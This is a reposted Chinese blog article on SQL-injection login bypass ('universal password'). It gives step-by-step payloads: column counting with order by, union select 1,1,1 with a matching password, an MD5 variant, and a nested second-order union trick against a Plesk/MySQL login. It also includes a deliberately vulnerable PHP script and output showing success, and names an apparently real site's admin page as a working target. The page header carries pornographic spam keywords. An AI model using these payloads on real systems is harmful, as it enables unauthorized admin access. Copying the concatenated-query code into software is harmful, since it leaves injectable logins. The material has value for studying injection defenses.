日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

union万能密码By:dangdang

發布時間:2025/3/8 编程问答 19 豆豆
生活随笔 收集整理的這篇文章主要介紹了 union万能密码By:dangdang 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?—————————asp代碼—————————————–

username?=?request.form("username")
password?=?request.form("password?")
set?rs=server.createobject("adodb.recordset")
sql?=?"select?[password]?from?admin?where?UserName='"&username&"'"
rs.open?sql,conn,1,3
If?password?=?rs("password")?then
…’登陸成功
End?if?——————————————————————————————————–

現在很多站點都是這種驗證方式,用’ or ‘1′=’就不行了。比如這個站http://aks.akszy.com/admin/

用戶名處輸入一個單引號出錯(有的時候也不一定出錯),然后’ order by 2–正確 ,’ order by 3– 正確,’ order by 4–出錯,只有3列,用戶名輸入用’union select 1,1,1– ,因為用戶名沒有為空的記錄,所以union出來的所有字段值都是1,密碼再填1登陸進去了…..

還有一種驗證方式密碼有md5比較,所以’union select 1,1,1……當中用1的md5值替換其中一個1(其中一個是密碼字段),密碼填1依然可以繞過。

如果是mysql的話可以搞二次攻擊,以下是2月文章:

今天看到這個帖子,佩服各牛突然覺得這個Mysql?+?plesk?怎么有點雞肋。我沒有源碼,只好通過出錯信息來fuzzer。沒想到一下就YY了半天。。。
看出錯信息:
DB?query?failed:?You?have?an?error?in?your?SQL?syntax;?check?the?manual?that?corresponds?to?your?MySQL?server?version?for?the?right?syntax?to?use?near?’;–”?at?line?1
———————-?Debug?Info?——————————-
0:?plib\common_func.php3:243
db_query(string?’select?id?from?admin_aliases?where?login=”?union?select?login?from?admin_aliases;–”)
1:?plib\class.AdminAlias.php:313
AdminAlias::findId(string?”?union?select?login?from?admin_aliases;–’)
2:?plib\cmd_loginup.php:147
createSession(string?”?union?select?login?from?admin_aliases;–’,?string?’******************************************’)
3:?htdocs\login_up.php3:27
從SQL語句中可以大概猜測,這個login是字符類型的,而ID確是int類型,在MSSQL中union通過顯錯來獲取信息可以證明這一點。根據大多數的web程序來推測的話,驗證過程大概是這樣。
1.通過用戶名到數據庫里尋找到該用戶的ID值進行第一步判斷。
2.找到了,再用這個ID值去找管理員的信息,可以使密碼,也可以是*了,呵呵。
3.對提交的密碼進行加密,和上一個結果集比對
令人高興的是,這個系統大方的給了我單引號用,單咋一看,我們union控制結果集來繞過驗證的常規思路似乎行不通。因為第一步只查找了那該死的ID。MSSQL報錯。。報錯。。那么MSSQL是個嚴謹的紳士,那MYSQL呢,我印象里他是個對類型不敏感的小流氓。這讓人興奮,我寫了個小腳本來模擬這種“雞肋”登陸注入的驗證過程。
test.php
<?php
$uid?=?$_POST[uid];
$pwd?=?$_POST[pwd];

?

$link?=?mysql_connect(‘localhost’,?’root’,?’123456′)
or?die(‘Could?not?connect:?’?.?mysql_error());
//echo?’Connected?successfully’;
mysql_select_db(‘test’)?or?die(‘Could?not?select?database’);

//通過uid找到用戶id?注意id為int
$query?=?”SELECT?id?FROM?admin?where?uid=’$uid’”;
echo?”執行的SQL語句為:$query<br>”;
$result?=?mysql_query($query)?or?die(‘Query?failed:?’?.?mysql_error());
$line?=?mysql_fetch_array($result,MYSQL_ASSOC);

$user_id?=?$line[id];

$query?=?”SELECT?*?FROM?admin?where?id=$user_id”;
echo?”執行的SQL語句為:$query<br>”;
$result?=?mysql_query($query)?or?die(‘Query?failed:?’?.?mysql_error());
$line?=?mysql_fetch_array($result,MYSQL_ASSOC);

//驗證開始
if?($line[pwd]?==?$pwd){?echo?”驗證成功!<br>”;?}?else?{?echo?”驗證失敗!<br>”;?}

mysql_free_result($result);
mysql_close($link);
?>
login.htm
<form?action=”http://localhost:8080/test.php”?method=”POST”>
<input?name=uid?type=text?size=80>
<br>
<input?name=pwd?type=text?size=80>
<br>
<input?type=submit>
</form>
很簡陋哈,呵呵。先讓我們看看mysql里的設置。
mysql>?create?table?admin(uid?varchar(10),pwd?varchar(10),id?int);
ERROR?1050?(42S01):?Table?’admin’?already?exists
mysql>?drop?table?admin;
Query?OK,?0?rows?affected?(0.03?sec)

mysql>?create?table?admin(uid?varchar(10),pwd?varchar(10),id?int);
Query?OK,?0?rows?affected?(0.08?sec)

mysql>?insert?into?admin?values(‘admin’,'fuckme’,1);
Query?OK,?1?row?affected?(0.00?sec)

mysql>?select?*?from?admin;
+——-+——–+——+
|?uid???|?pwd????|?id???|
+——-+——–+——+
|?admin?|?fuckme?|????1?|
+——-+——–+——+
1?row?in?set?(0.00?sec)
測了下驗證程序ok,來測試mysql?一下語句
mysql>?select?id?from?admin?union?select?1;
+——+
|?id???|
+——+
|????1?|
+——+
1?row?in?set?(0.00?sec)

mysql>?select?id?from?admin?union?select?’fuckme,please’;
+—————+
|?id????????????|
+—————+
|?1?????????????|
|?fuckme,please?|
+—————+
2?rows?in?set?(0.02?sec)
很好,Mysql果然沒讓人失望,這樣意味著我們能控制$line[id]這個值了,他傳遞給$user_id到了第二個SQL語句中。繼續在mysql里意淫:
mysql>?select?id?from?admin?union?select?’0?union?select?1,2,3#’;
+———————–+
|?id????????????????????|
+———————–+
|?1?????????????????????|
|?0?union?select?1,2,3#?|
+———————–+
2?rows?in?set?(0.00?sec)
這個時候按照理論上講?我們在用戶名那里提交:
‘union?select?’-1?union?select?1,1,1#’#?密碼填?1就可以驗證成功了,這些推理過程不說了,我不能班門弄斧啊

程序輸出:
執行的SQL語句為:SELECT?id?FROM?admin?where?uid=”?and?1=2?union?select?’-1?union?select?1,1,1#’#’
執行的SQL語句為:SELECT?*?FROM?admin?where?id=-1?union?select?1,1,1#
驗證成功!






















本文轉sinojelly51CTO博客,原文鏈接:http://blog.51cto.com/pnig0s1992/354566,如需轉載請自行聯系原作者

總結

以上是生活随笔為你收集整理的union万能密码By:dangdang的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。